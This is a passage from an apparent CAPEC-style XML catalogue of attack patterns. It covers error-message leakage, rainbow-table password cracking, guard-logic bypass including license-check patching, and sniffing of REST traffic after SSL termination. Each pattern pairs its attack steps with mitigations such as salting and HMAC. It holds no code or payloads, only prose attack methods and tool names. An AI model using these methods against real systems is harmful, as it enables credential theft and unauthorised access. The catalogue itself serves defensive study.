							obfuscating the attack.</Text>
					</Description>
				</Obfuscation_Technique>
			</Obfuscation_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Application designers can construct a 'code book' for error messages. When
						using a code book, application error messages aren't generated in string or
						stack trace form, but are cataloged and replaced with a unique (often
						integer-based) value 'coding' for the error. Such a technique will require
						helpdesk and hosting personnel to use a 'code book' or similar mapping to
						decode application errors/logs in order to respond to them normally.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Application designers can wrap application functionality (preferrably
						through the underlying framework) in an output encoding scheme that obscures
						or cleanses error messages to prevent such attacks. Such a technique is
						often used in conjunction with the above 'code book' suggestion.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>User-controllable input</Text>
			</Injection_Vector>
			<Payload>
				<Text>Content, based on application context, crafted to elicit error conditions from
					the application</Text>
			</Payload>
			<Activation_Zone>
				<Text>Error Handling mechanism within the application</Text>
			</Activation_Zone>
			<Payload_Activation_Impact>
				<Description>
					<Text>The impact of activation is an error condition that, hopefully for the
						attacker, reveals sufficient information to further map the
						application.</Text>
				</Description>
			</Payload_Activation_Impact>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>209<!--Information Exposure Through an Error Message--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>248<!--Uncaught Exception--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>717<!--OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>210<!--Abuse of Functionality--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>116<!--Data Excavation Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Custom error pages must be used to handle exceptions such that they do not
						reveal any information about the architecture of the application or the
						database.</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Employ application-level safeguards to filter data and handle exceptions
						gracefully.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Input as Part of a Directive to any Internal Component</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Handle All Errors Safely</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Description>
						<Text>CWE - Input Validation</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Improper Error Handling</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="55" Name="Rainbow Table Password Cracking"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker gets access to the database table where hashes of passwords
						are stored. He then uses a rainbow table of precomputed hash chains to
						attempt to look up the original password. Once the original password
						corresponding to the hash is obtained, the attacker uses the original
						password to gain access to the system.</Text>
					<Text>A password rainbow table stores hash chains for various passwords. A
						password chain is computed, starting from the original password, P, via a a
						reduce(compression) function R and a hash function H. A recurrence relation
						exists where Xi+1 = R(H(Xi)), X0 = P. Then the hash chain of length n for
						the original password P can be formed: X1, X2, X3, ... , Xn-2, Xn-1, Xn,
						H(Xn). P and H(Xn) are then stored together in the rainbow table.</Text>
					<Text>Constructing the rainbow tables takes a very long time and is
						computationally expensive. A separate table needs to be constructed for the
						various hash algorithms (e.g. SHA1, MD5, etc.). However, once a rainbow
						table is computed, it can be very effective in cracking the passwords that
						have been hashed without the use of salt.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Determine application's/system's password
											policy</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the password policies of the target
												application/system.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Determine minimum and maximum allowed
												password lengths.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Determine format of allowed passwords
												(whether they are required or allowed to contain
												numbers, special characters, etc.).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Determine account lockout policy (a strict
												account lockout policy will prevent brute force
												attacks).</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Passwords are used in the
												application/system</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Passwords are not used in the
												application/system</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Obtain password
											hashes</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker gets access to the database table
												storing hashes of passwords or potentially just
												discovers a hash of an indivual password.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Obtain copy of database table or flat file
												containing password hashes (by breaking access
												controls, using SQL Injection, etc.)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Obtain password hashes from
												platform-specific storage locations (e.g. Windows
												registry)</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Sniff network packets containing password
												hashes.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web env-Peer2Peer env-ClientServer
												env-CommProtocol</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Negative">
												<Indicator_Description>
												<Text>Password authentication not used in
												application/system.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>At least one (unsalted)
												password hash obtained.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>No password hashes obtained by
												attacker.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Run rainbow table-based password cracking
											tool</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>An attacker finds or writes a password cracking
												tool that uses a previously computed rainbow table
												for the right hashing algorithm. It helps if the
												attacker knows what hashing algorithm was used by
												the password system.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Run rainbow table-based password cracking
												tool such as Ophcrack or RainbowCrack. Reduction
												function must depend on application's/system's
												password policy.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Success outcome in step 2.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Failure outcome in step 2.</Text>
												</Indicator_Description>
												<Environments>env-All</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>A password corresponding to the
												hash recovered.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>Password corresponding to the
												hash could not be recovered with the given rainbow
												table.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Include salts in
												hashes.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Hash of the original password is available to the attacker. For a better
						chance of success, an attacker should have more than one hash of the
						original password, and ideally the whole table.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Salt was not used to create the hash of the original password. Otherwise
						the rainbow tables have to be reocmputed, which is very expensive and will
						make the attack effectively infeasible (especially if salt was added in
						iterations).</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The system uses one factor password based authentication.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Brute Force</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>BusyBox 1.1.1 does not use a salt when generating passwords, which
							makes it easier for local users to guess passwords from a stolen
							password file using techniques such as rainbow tables.</Text>
					</Example-Instance_Description>
					<Example-Instance_Related_Vulnerabilities>
						<Example-Instance_Related_Vulnerability>
							<Text>CVE-2006-1058</Text>
						</Example-Instance_Related_Vulnerability>
					</Example-Instance_Related_Vulnerabilities>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>A variety of password cracking tools are available that can leverage a
							rainbow table. The more difficult part is to obtain the password
							hash(es) in the first place.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Rainbow table of password hash chains with the right algorithm used. A
					password cracking tool that leverages this rainbow table will also be required.
					Hash(es) of the password is required.</Text>
			</Resources_Required>
			<Indicators-Warnings_of_Attack>
				<Indicator-Warning_of_Attack>
					<Description>
						<Text>This is a completely offline attack that an attacker can perform at
							their lesure after the password hashes are obtained.</Text>
					</Description>
				</Indicator-Warning_of_Attack>
			</Indicators-Warnings_of_Attack>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use salt when computing password hashes. That is, concatenate the salt
						(random bits) with the original password prior to hashing it.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>261<!--Weak Cryptography for Passwords--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>521<!--Weak Password Requirements--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>262<!--Not Using Password Aging--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>263<!--Password Aging with Long Expiration--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>719<!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>49<!--Password Brute Forcing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eugene Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-26</Submission_Date>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-01</Modification_Date>
						<Modification_Comment>Review and revision of content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Amit Sethi</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Date>2007-10-29</Modification_Date>
						<Modification_Comment>Added extended Attack Execution
							Flow</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="56" Name="Removing/short-circuiting 'guard logic'"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Attackers can, in some cases, get around logic put in place to 'guard'
						sensitive functionality or data.</Text>
					<Text>The attack may involve gaining access to and calling protected
						functionality (or accessing protected data) directly, may involve subverting
						some aspect of the guard's implementation, or outright removal of the guard,
						if possible.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker determines, through brute-forcing,
												reverse-engineering or other similar means, the
												location and logic of the guard element</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker then tries to determine the mechanism
												to circumvent the guard.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Once the mechanism has been determined, the
												attacker proceeds to access the protected
												functionality</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The Attacker must have reverse-engineered the application and its design
						extensively enough to have determined that a guard element exists. This may
						have been done as simply as through probing (and likely receiving too
						verbose an error message) or could have involved high-brow techniques
						supported by advanced reverse engineering/debugging tools.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attacker uses click-through exploration of a Servlet-based website to
							map out its functionality, taking note of its URL-naming conventions and
							Servlet mappings. Using this knowledge and guessing the Servlet name of
							functionality they're not authorized to use, the Attacker directly
							navigates to the privileged functionality arund the authorizing
							single-front controller (implementing programmatic authorization
							checks).</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attacker reverse-engineers a Java binary (by decompiling it) and
							identifies where license management code exists. Noticing that the
							license manager returns TRUE or FALSE as to whether or not the user is
							licensed, the Attacker simply overwrites both branch targets to return
							TRUE, recompiles, and finally redeploys the binary.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker must ability to understand complex design logic as well
							as possibly the ability to reverse-engineer the design and code to
							determine placement and logic of guard element.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker needs the ability to explore the application's functionality and
					response to various conditions.</Text>
				<Text>In cases where the guard component sits server-side, the attacker will likely
					require a valid login.</Text>
				<Text>In the case that guard functionality exists client-side, the attacker will
					likely require reverse-engineering tools, such as a disassembler.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Attackers may confine (and succeed with) probing as simple as
							exploring an application's functionality and its underlying mapping to
							server-side components. It is likely that for this to succeed, the
							Attacker will need a valid login.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>At the other extreme, Attackers capable of reverse engineering client
							code will have the ability to remove functionality or identify the
							whereabouts of sensitive data through whitebox analysis, such as review
							of reverse-engineered code.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Attack_Motivation-Consequences>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>288<!--Authentication Bypass Using an Alternate Path or Channel--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>372<!--Incomplete Internal State Distinction--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>510<!--Trapdoor--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>721<!--OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2007-0968</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Unspecified vulnerability in Cisco Firewall Services Module (FWSM)
							before 2.3(4.7) and 3.x before 3.1(3.1) causes the access control
							entries (ACE) in an ACL to be improperly evaluated, which allows remote
							authenticated users to bypass intended certain ACL protections.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2007-0802</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Mozilla Firefox 2.0.0.1 allows remote attackers to bypass the Phishing
							Protection mechanism by adding certain characters to the end of the
							domain name, as demonstrated by the "." and "/" characters, which is not
							caught by the Phishing List blacklist filter.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
				<Related_Vulnerability>
					<Vulnerability_ID>VU#258834</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>WebEOC ties privileges and roles to client-side resources. If an
							attacker can access a resource directly, that attacker will be granted
							all the privileges associated with that resource.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>207<!--Removing Important Functionality from the Client--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Failing Securely</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Authentication Mechanisms, Where Appropriate, Correctly</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Authorization Mechanisms Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="57"
			Name="Utilizing REST's Trust in the System Resource to Register Man in the Middle"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack utlizes a Rest(REpresentational State Transfer)-style
						applications' trust in the system resources and environment to place man in
						the middle once SSL is terminated. Rest applications premise is that they
						leverage existing infrastructure to deliver web services functionality. An
						example of this is a Rest application that uses HTTP Get methods and
						receives a HTTP response with a XML document. These Rest style web services
						are deployed on existing infrastructure such as Apache and IIS web servers
						with no SOAP stack required. Unfortunately from a security standpoint, there
						frequently is no interoperable identity security mechanism deployed, so Rest
						developers often fall back to SSL to deliver security. In large data
						centers, SSL is typically terminated at the edge of the network - at the
						firewall, load balancer, or router. Once the SSL is terminated the HTTP
						request is in the clear (unless developers have hashed or encrypted the
						values, but this is rare). The attacker can utilize a sniffer such as
						Wireshark to snapshot the credentials, such as username and password that
						are passed in the clear once SSL is terminated.</Text>
					<Text>Once the attacker gathers these credentials, they can submit requests to
						the web service provider just as authorized user do. There is not typically
						an authentication on the client side, beyond what is passed in the request
						itself so once this is compromised, then this is generally sufficient to
						compromise the service's authentication scheme.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>Opportuntity to intercept must exist beyond the poing where SSL is
						terminated.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The attacker must be able to insert a listener actively (proxying the
						communication) or passively (sniffing the communication) in the
						client-server communication path.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>The Rest service provider uses SSL to protect the communications
							between the service requester (client) to the service provider. In the
							instance where SSL is terminated before the communications reach the web
							server, it is very common in enterprise data centers to terminate SSL at
							a router, firewall, load balancer, proxy or other device, then the
							attacker can insert a sniffer into the communication stream and gather
							all the authentication tokens (such as session credentials,
							username/passwords combinations, and so on). The Rest service requester
							and service provider do not have any way to detect this attack.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To insert a network sniffer or other listener into the communication
							stream</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Attacker may use a network sniffer to identify authentication
							credentials once SSL is terminated.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Implementation: Implement message level security such as HMAC in the HTTP
						communication</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Utilize defense in depth, do not rely on a single security
						mechanism like SSL</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
